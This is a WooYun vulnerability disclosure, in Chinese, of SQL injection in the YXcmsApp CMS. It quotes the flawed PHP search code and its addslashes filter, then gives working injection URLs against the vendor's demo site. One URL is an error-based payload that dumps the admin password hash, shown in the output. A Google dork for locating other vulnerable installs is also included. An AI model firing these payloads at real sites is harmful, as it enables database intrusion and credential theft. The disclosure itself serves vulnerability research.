YXcmsApp 注入漏洞 | wooyun-2013-046534

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2013-046534

漏洞标题：

YXcmsApp 注入漏洞

漏洞详情

披露状态：

2013-12-20：积极联系厂商并且等待厂商认领中，细节不对外公开
2014-03-20：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

开发人员对安全意识不足

详细说明：

这楼的没啥技术含量，本菜鸟刚接触代码审计，可能分析的不对。
漏洞文件protected\apps\default\controller\indexController.php
关键代码

public function search()
	{
       if(empty($_GET['keywords'])||empty($_GET['type'])) $this->error('搜索条件不足~');
       $keywords=in(urldecode(trim($_GET['keywords'])));
       $type=in($_GET['type']);
       $listRows=10;//每页显示的信息条数,2n偶数
       $url=url('index/search',array('keywords'=>urlencode($keywords),'type'=>$type,'page'=>'{page}'));
	 $where="ispass='1' AND (title like '%".$keywords."%' OR description like '%".$keywords."%')";

全局过滤代码
protected\include\lib\common.function.php

function in($data,$force=false){
	if(is_string($data)){
		$data=trim(htmlspecialchars($data));//防止被挂马，跨站攻击
		if(($force==true)||(!get_magic_quotes_gpc())) {
		   $data = addslashes($data);//防止sql注入
		}
		return  $data;
	} else if(is_array($data)) {
		foreach($data as $key=>$value){
		   $data[$key]=in($value,$force);
		}
		return $data;
	} else {
		return $data;
	}	
}

keywords 靠addslashes这个过滤，无语了

漏洞证明：

http://demo.yxcms.net/index.php?r=default/index/search&keywords=a%2527%C2%95%C2%8A&type=all

出错信息： MySQL Query Error
SQL: SELECT count(*) FROM yx_news WHERE ispass='1' AND (title like '%a'%' OR description like '%a'%')
错误详情: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' OR description like '%a'%')' at line 1
错误代码:1064

危害
google search
inurl:index.php?r=default/page
http://www.google.com.hk/#newwindow=1&q=inurl:index.php%3Fr%3Ddefault/page&safe=strict&start=90
用的也比较多了算通用了吧。
其实很多地方引用这个过滤。。顺便送个爆hash exp

http://demo.yxcms.net/index.php?r=default%2Fextend%2Findex&id=100023%20AND%20%28SELECT%201660%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716d667271%2C%28SELECT%20MID%28%28IFNULL%28CAST%28password%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20yx_admin%20WHERE%20username%3D0x61646d696e%20LIMIT%200%2C1%29%2C0x716e6e7371%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29

出错信息： MySQL Query Error
SQL: SELECT id,type,name,method,url,extendid FROM yx_sort WHERE id IN(100023 AND (SELECT 1660 FROM(SELECT COUNT(*),CONCAT(0x716d667271,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) FROM yx_admin WHERE username=0x61646d696e LIMIT 0,1),0x716e6e7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)) ORDER BY deep
错误详情: Duplicate entry 'qmfrq44f76bda33900c7a9b984674f283fdafqnnsq1' for key 'group_key'
错误代码:1062

我就不刷rank了。。。

修复方案：

不懂开发，请自行百度下，应该有相关通用防注入代码

版权声明：转载请注明来源想要减肥的胖纸@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

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漏洞概要 关注数(24) 关注此漏洞